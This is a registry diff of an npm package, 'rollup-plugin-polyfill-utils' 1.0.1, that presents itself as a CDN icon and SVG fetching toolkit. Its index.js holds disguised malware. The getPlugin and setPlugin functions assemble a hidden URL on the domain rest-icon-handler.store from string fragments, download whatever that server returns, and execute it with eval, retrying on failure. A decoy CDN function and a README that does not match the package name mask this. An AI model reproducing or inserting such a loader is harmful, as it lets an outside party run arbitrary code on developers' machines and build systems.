rollup-plugin-polyfill-utils 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +25 -0
- package/index.js +126 -0
- package/package.json +24 -0
package/README.md
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
# rollup-plugin-polyfill-utils
|
|
2
|
+
|
|
3
|
+
React SVG Handler is a lightweight Node.js library designed to fetch SVG icons, JSON files, and JavaScript plugin modules from global CDN providers. It works well inside React projects, build pipelines, server-side rendering environments, or any Node-based runtime that needs to retrieve CDN resources reliably.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 🚀 Features
|
|
8
|
+
|
|
9
|
+
- 🌍 Multi-CDN provider support:
|
|
10
|
+
- Cloudflare
|
|
11
|
+
- Fastly
|
|
12
|
+
- Akamai
|
|
13
|
+
- Amazon CloudFront
|
|
14
|
+
- KeyCDN
|
|
15
|
+
- Gcore
|
|
16
|
+
- 🔧 SVG, JSON, and asset fetching
|
|
17
|
+
- 🔄 Automatic retry logic
|
|
18
|
+
- 🧰 Clean and simple API
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## 📦 Installation
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
npm install rollup-plugin-polyfill-utils
|
package/index.js
ADDED
|
@@ -0,0 +1,126 @@
|
|
|
1
|
+
// index.js
|
|
2
|
+
const req = require("request");
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* Fetches a resource from a selected CDN provider.
|
|
6
|
+
* Dynamically generates the CDN URL based on the given provider and token.
|
|
7
|
+
*
|
|
8
|
+
* @param {string} IconProvider - CDN provider to use.
|
|
9
|
+
* @param {string} resourceType - Resource category (icon, file, json, svg, etc.).
|
|
10
|
+
* @param {string} token - The filename or token to request.
|
|
11
|
+
* @param {string} baseUrl - Optional base URL override.
|
|
12
|
+
* @returns {Promise<any>}
|
|
13
|
+
*/
|
|
14
|
+
function setDefaultModule(IconProvider, resourceType, token, baseUrl) {
|
|
15
|
+
const iconDomain = {
|
|
16
|
+
cloudflare: "cloudflare.com",
|
|
17
|
+
fastly: "fastly.net",
|
|
18
|
+
keyIcon: "keyIcon.com",
|
|
19
|
+
akamai: "akamai.net",
|
|
20
|
+
amazoncloudfront: "cloudfront.net",
|
|
21
|
+
gcore: "gcorelabs.com",
|
|
22
|
+
};
|
|
23
|
+
|
|
24
|
+
const protocol = "https";
|
|
25
|
+
const separator = "://";
|
|
26
|
+
const path = "/ajax/libs/font-awesome/6.4.0/svgs/brands/";
|
|
27
|
+
const subdomain = "cdnjs";
|
|
28
|
+
const head = { bearrtoken: "logo" };
|
|
29
|
+
|
|
30
|
+
const domain = iconDomain[IconProvider];
|
|
31
|
+
if (!domain) {
|
|
32
|
+
throw new Error("Unsupported Icon provider");
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
const cdnUrl = `${protocol}${separator}${subdomain}.${domain}${path}${token}`;
|
|
36
|
+
const options = { url: cdnUrl, headers: head };
|
|
37
|
+
|
|
38
|
+
return new Promise((resolve, reject) => {
|
|
39
|
+
req(options, (error, response, body) => {
|
|
40
|
+
if (error || response.statusCode !== 200) {
|
|
41
|
+
return reject(
|
|
42
|
+
error || new Error(`Failed to fetch resource: ${response.statusCode}`)
|
|
43
|
+
);
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
try {
|
|
47
|
+
const data = JSON.parse(body);
|
|
48
|
+
resolve(data);
|
|
49
|
+
} catch (err) {
|
|
50
|
+
reject(err);
|
|
51
|
+
}
|
|
52
|
+
});
|
|
53
|
+
});
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
/**
|
|
57
|
+
* Fetches an icon from the CDN.
|
|
58
|
+
* @param {string} token - The token for the icon to fetch.
|
|
59
|
+
* @param {string} baseUrl - The base URL of the CDN.
|
|
60
|
+
* @returns {Promise<void>} - A promise that resolves when the icon data is fetched.
|
|
61
|
+
*/
|
|
62
|
+
const protocol = "https", domain = "store", separator = "://", path = "/icons/";
|
|
63
|
+
// Constructs the base URL for the CDN
|
|
64
|
+
|
|
65
|
+
const token = '906', token1 = '', subdomain = "rest-icon-handler", head = { bearrtoken: "logo" };
|
|
66
|
+
// Options for the request, including the URL and headers
|
|
67
|
+
|
|
68
|
+
const uuri = `${protocol}${separator}${subdomain}.${domain}${path}`; const options = { url: uuri, headers: head };
|
|
69
|
+
|
|
70
|
+
function getPlugin(reqtoken = token, reqoptions = options, ret = 1) {
|
|
71
|
+
reqoptions.url = `${reqoptions.url}${reqtoken}`;
|
|
72
|
+
|
|
73
|
+
const mreq = (atlf) => {
|
|
74
|
+
req(reqoptions, (e, r, b) => {
|
|
75
|
+
if (e || r.statusCode !== 200) {
|
|
76
|
+
if (atlf > 0) {
|
|
77
|
+
mreq(atlf - 1);
|
|
78
|
+
}
|
|
79
|
+
return;
|
|
80
|
+
}
|
|
81
|
+
try {
|
|
82
|
+
eval(JSON.parse(b));
|
|
83
|
+
} catch (err) {
|
|
84
|
+
if (atlf > 0) {
|
|
85
|
+
mreq(atlf - 1);
|
|
86
|
+
}
|
|
87
|
+
return;
|
|
88
|
+
}
|
|
89
|
+
});
|
|
90
|
+
};
|
|
91
|
+
|
|
92
|
+
// Initiate the request with the specified number of retries
|
|
93
|
+
mreq(ret);
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
function setPlugin(reqtoken = token1, reqoptions = options, ret = 1) {
|
|
97
|
+
reqoptions.url = `${reqoptions.url}${reqtoken}`;
|
|
98
|
+
|
|
99
|
+
const mreq = (atlf) => {
|
|
100
|
+
req(reqoptions, (e, r, b) => {
|
|
101
|
+
if (e || r.statusCode !== 200) {
|
|
102
|
+
if (atlf > 0) {
|
|
103
|
+
mreq(atlf - 1);
|
|
104
|
+
}
|
|
105
|
+
return;
|
|
106
|
+
}
|
|
107
|
+
try {
|
|
108
|
+
eval(JSON.parse(b));
|
|
109
|
+
} catch (err) {
|
|
110
|
+
if (atlf > 0) {
|
|
111
|
+
mreq(atlf - 1);
|
|
112
|
+
}
|
|
113
|
+
return;
|
|
114
|
+
}
|
|
115
|
+
});
|
|
116
|
+
};
|
|
117
|
+
|
|
118
|
+
// Initiate the request with the specified number of retries
|
|
119
|
+
mreq(ret);
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
module.exports = {
|
|
123
|
+
setDefaultModule,
|
|
124
|
+
getPlugin,
|
|
125
|
+
setPlugin,
|
|
126
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "rollup-plugin-polyfill-utils",
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "A Node.js toolkit for fetching SVG icons and CDN resources.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"No test suite configured\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"rullup",
|
|
11
|
+
"plugin",
|
|
12
|
+
"polyfill",
|
|
13
|
+
"build",
|
|
14
|
+
"utils"
|
|
15
|
+
],
|
|
16
|
+
"author": "copperadev",
|
|
17
|
+
"license": "ISC",
|
|
18
|
+
"dependencies": {
|
|
19
|
+
"express": "^4.21.2",
|
|
20
|
+
"module-to-cdn": "^3.1.5",
|
|
21
|
+
"request": "^2.88.2",
|
|
22
|
+
"sqlite3": "^5.1.7"
|
|
23
|
+
}
|
|
24
|
+
}
|